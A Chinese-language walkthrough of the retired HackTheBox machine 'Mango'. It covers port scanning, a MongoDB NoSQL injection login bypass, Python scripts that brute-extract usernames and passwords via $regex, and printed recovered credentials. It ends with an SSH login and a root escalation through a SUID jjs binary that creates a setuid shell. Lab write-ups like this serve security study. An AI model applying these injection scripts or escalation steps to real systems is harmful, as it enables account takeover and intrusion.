HTB-靶机-Mango

本篇文章仅用于技术交流学习和研究的目的，严禁使用文章中的技术用于非法目的和破坏，否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作，显示IP地址为10.10.10.162

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

信息枚举收集
https://github.com/codingo/Reconnoitre 跟autorecon类似
autorecon 10.10.10.162 -o ./Mango-autorecon

sudo nmap -sT -p- --min-rate 10000 -oA scans/alltcp 10.10.10.162
或者

sudo masscan -p1-65535,U:1-65535 10.10.10.162 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
sudo nmap -Pn -sV -sC -p$ports 10.10.10.162

开放了3个端口，分别是22，80，443端口，然后扫描结果显示域名，直接先加本地hosts文件，访问IP和域名看看结果是咋样

追加hosts文件
sudo -- sh -c "echo '10.10.10.162 mango.htb staging-order.mango.htb' >> /etc/hosts"

直接访问IP地址，页面403，通过上面添加的hosts域名访问，刚开始使用https形式访问显示一个搜索引擎，但是不管这么输入搜索的内容，都没有结果

访问https://staging-order.mango.htb和https://mango.htb 都显示一个搜索引擎，且尝试在上面随便搜索一个东西，不能返回任何结果，没啥用

访问对应域名80端口看看 

http://staging-order.mango.htb/

 

看到上面一个登录窗口，试试sql注入，但结果没有任何显示，通过http的形式访问staging-order.mango.htb 得到一个登录页面，试了下注入没发现，尝试了其他目录爆破途径也没发现啥有价值的信息，回头再看这个登录页面，显示mango，试试跟mango数据库相关的注入方式，发现可以注入成功，本靶机用到的注入参数可参考：

https://docs.mongodb.com/manual/reference/operator/query/ne/

猜测目标靶机的登录注入点，用户名和密码后台判断的数据库查询方式如下：
db.users.find({ username: "admin", password: "admin" });
db.users.find({ username: "admin", password: { $ne : "admin" } });

使用burpsuite构造的注入请求

POST http://staging-order.mango.htb/ HTTP/1.1
Host: staging-order.mango.htb
Content-Length: 46
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://staging-order.mango.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Edg/91.0.864.37
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://staging-order.mango.htb/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=n5ad8ioq1k1rkm2d4i5tpesdfr
Connection: close

username=admin&password[$ne]=admin&login=login

成功之后会响应302跳转到home.php文件

确认存在mango数据库注入了，开始进行测试注入

下面是构造的查询语句，大概意思只要密码不是admin，通过正则表达式猜测包含a的用户名
db.users.find({ username: { $regex : "a.*", password: { $ne : "admin" } });

下面是构造的查询语句，大概意思只要密码不是admin，通过正则表达式猜测包含a的用户名

POST http://staging-order.mango.htb/ HTTP/1.1
Host: staging-order.mango.htb
Content-Length: 54
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://staging-order.mango.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Edg/91.0.864.37
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://staging-order.mango.htb/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=n5ad8ioq1k1rkm2d4i5tpesdfr
Connection: close

username[$regex]=a.*&password[$regex]=h.*&login=login

写一段python代码来批量尝试用户名包含哪些字母

使用python2版本执行

#!/usr/bin/env python

from requests import post
from string import lowercase

url = 'http://staging-order.mango.htb/'

def sendPayload():
        for char in lowercase:
                regex = '{}.*'.format(char)
                data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login' : 'login' }
                response = post(url, data = data, allow_redirects=False)
                if response.status_code == 302:
                    print "Found valid letter: {}".format(char)

def getUser():
        sendPayload()

if __name__ == '__main__':
        getUser()

kali@kali:~/Downloads/htb/mango$ python mgcontainsusername.py
Found valid letter: a
Found valid letter: d
Found valid letter: g
Found valid letter: i
Found valid letter: m
Found valid letter: n
Found valid letter: o

使用python2版本执行

#!/usr/bin/env python

from requests import post
from string import lowercase

url = 'http://staging-order.mango.htb/'

def sendPayload():
        for char in lowercase:
                regex = '{}.*'.format(char)
                data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login' : 'login' }
                response = post(url, data = data, allow_redirects=False)
                if response.status_code == 302:
                    print "Found valid letter: {}".format(char)

def getUser():
        sendPayload()

if __name__ == '__main__':
        getUser()

kali@kali:~/Downloads/htb/mango$ python mgcontainsusername.py
Found valid letter: a
Found valid letter: d
Found valid letter: g
Found valid letter: i
Found valid letter: m
Found valid letter: n
Found valid letter: o

通过上面的代码猜测出来了用户名存在于下面7个字符中
a,d,g,i,m,n,o

得到上面的结果，我们可以根据上面7个字符使用代码批量测试出来准确的用户名，大概逻辑就是使用正则表达式以某个字母开通不断的测试判断下去，例如：^a.* 进行测试，如果返回302响应码，那么可以确认用户名存在a且以a开头，然后就可以依次测试^ad.* 之类的正则表达式，知道思路了，那么我们就开始一把嗦

先调试测试一下其中一个字母开头的用户名有几个

#!/usr/bin/env python

from requests import post
from string import lowercase

url = 'http://staging-order.mango.htb/'
valid = ['a', 'd', 'g', 'i', 'm', 'n', 'o']

def sendPayload(word):
    regex = '^{}.*'.format(word)
    data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login' : 'login' }
    response = post(url, data = data, allow_redirects=False)
    if response.status_code == 302:
        return word
    else:
        return None

def getUser():
    for char in valid:
        if sendPayload(char) != None:
            print "Found username starting with {}".format(char)

if __name__ == '__main__':
    getUser()

执行结果

kali@kali:~/Downloads/htb/mango$ python confirmusername.py
Found username starting with a
Found username starting with m

上述测试结果知道了目标靶机有两个用户名，且用户名开头的字母分别是a和m ，我们继续测试挖掘

#!/usr/bin/env python

from requests import post
from string import lowercase

url = 'http://staging-order.mango.htb/'
valid = ['a', 'd', 'g', 'i', 'm', 'n', 'o']

def sendPayload(word):
    for char in valid:
        regex = '^{}.*'.format(word + char)
        data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login' : 'login' }
        response = post(url, data = data, allow_redirects=False)
        if response.status_code == 302:
            return char
    return None

def getUser():
    for ch in ['a', 'm']:
        username = ch
        while True:
            char = sendPayload(username)
            if char != None:
                username += char
            else:
                print "Username found: {}".format(username)
                break

if __name__ == '__main__':
    getUser()


执行结果
kali@kali:~/Downloads/htb/mango$ python mggetusername.py
Username found: admin
Username found: mango

得到了两个用户名admin和mango，那么就开始测试挖掘密码中含有哪些可能的字符

#!/usr/bin/env python

from requests import post
from string import printable

url = 'http://staging-order.mango.htb/'

def sendPayload(user):
    valid = []
    for char in printable:
        regex = '{}.*'.format(char)
        data = { 'username' : user, 'password[$regex]' : regex, 'login' : 'login' }
        response = post(url, data = data, allow_redirects=False)
        if response.status_code == 302:
            valid.append(char)
    return valid

def getUser():
    for user in ['admin', 'mango']:
        valid = sendPayload(user)
        print "Valid characters for {}: {}".format(user, valid)

if __name__ == '__main__':
    getUser()

执行结果
kali@kali:~/Downloads/htb/mango$ python confirepassword.py
Valid characters for admin: ['0', '2', '3', '9', 'c', 't', 'B', 'K', 'S', '!', '#', '$', '.', '>', '\\', '^', '|']
Valid characters for mango: ['3', '5', '8', 'f', 'h', 'm', 'H', 'K', 'R', 'U', 'X', '$', '.', '\\', ']', '^', '{', '|', '~']

好了此处就可以开始收网了，得到目标靶机的用户名对应字典中存在的密码字符，通过python代码批量去猜测用户名中的密码即可，不过这里需要注意的是，上面得到密码包含的字符中含有特殊字符，所以在python代码中需要事先转义掉

#!/usr/bin/env python

from requests import post
from string import printable


url = 'http://staging-order.mango.htb/'
admin_pass = ['0', '2', '3', '9', 'c', 't', 'B', 'K', 'S', '!', '#', '\\$','\\.', '>', '\\\\', '\\^', '\\|']
mango_pass = ['3', '5', '8', 'f', 'h', 'm', 'H', 'K', 'R', 'U', 'X', '\\$','\\.', '\\\\', ']', '\\^', '{', '\\|', '~']

def sendPayload(user, word):
    valid = admin_pass if user == 'admin' else mango_pass
    for char in valid:
        regex = '^{}.*'.format(word + char)
        data = { 'username' : user, 'password[$regex]' : regex, 'login' : 'login' }
        response = post(url, data = data, allow_redirects=False)
        if response.status_code == 302:
            return char
    return None

def getUser():
    for user in ['admin', 'mango']:
        password = ''
        while True:
            char = sendPayload(user, password)
            if char != None:
                password += char
            else:
                print "Password for {} found: {}".format(user, password)
                break

if __name__ == '__main__':
    getUser()


执行结果
kali@kali:~/Downloads/htb/mango$ python getunpw.py
Password for admin found: t9KcS3>!0B#2
Password for mango found: h3mXK8RhU~f{]f5H

得到上面的两个账户和密码先走走捷径看看能不能直接使用ssh登录到目标靶机，经过测试发现mango账户可以直接登录上去，admin账户不能

，ssh连接目标靶机ssh端口
sshpass -p 'h3mXK8RhU~f{]f5H' ssh -oStrictHostKeyChecking=no mango@10.10.10.162

登录上去看了下当前目录下没有user.txt 然后又看了home目录刚好发现有另一个目录admin，再次su切换的方式登录admin用户，我擦，成功了

执行一下bash命令切换成bash环境的shell 然后找下suid权限的二进制文件

find / -perm -4000 2>/dev/null

得到如下结果
admin@mango:/home/admin$ find / -perm -4000 2>/dev/null
/bin/fusermount
/bin/mount
/bin/umount
/bin/su
/bin/ping
/snap/core/7713/bin/mount
/snap/core/7713/bin/ping
/snap/core/7713/bin/ping6
/snap/core/7713/bin/su
/snap/core/7713/bin/umount
/snap/core/7713/usr/bin/chfn
/snap/core/7713/usr/bin/chsh
/snap/core/7713/usr/bin/gpasswd
/snap/core/7713/usr/bin/newgrp
/snap/core/7713/usr/bin/passwd
/snap/core/7713/usr/bin/sudo
/snap/core/7713/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/7713/usr/lib/openssh/ssh-keysign
/snap/core/7713/usr/lib/snapd/snap-confine
/snap/core/7713/usr/sbin/pppd
/snap/core/6350/bin/mount
/snap/core/6350/bin/ping
/snap/core/6350/bin/ping6
/snap/core/6350/bin/su
/snap/core/6350/bin/umount
/snap/core/6350/usr/bin/chfn
/snap/core/6350/usr/bin/chsh
/snap/core/6350/usr/bin/gpasswd
/snap/core/6350/usr/bin/newgrp
/snap/core/6350/usr/bin/passwd
/snap/core/6350/usr/bin/sudo
/snap/core/6350/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/6350/usr/lib/openssh/ssh-keysign
/snap/core/6350/usr/lib/snapd/snap-confine
/snap/core/6350/usr/sbin/pppd
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgidmap
/usr/bin/run-mailcap
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/at
/usr/bin/traceroute6.iputils
/usr/bin/pkexec
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine

发现jjs和run-mailcap，相关提权操作可参考

https://gtfobins.github.io/gtfobins/jjs/
https://gtfobins.github.io/gtfobins/run-mailcap/

提权具体操作

执行
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
然后执行下面两条命令
Java.type('java.lang.Runtime').getRuntime().exec('cp /bin/sh /tmp/sh').waitFor()
Java.type('java.lang.Runtime').getRuntime().exec('chmod u+s /tmp/sh').waitFor()
提权到root
/tmp/sh -p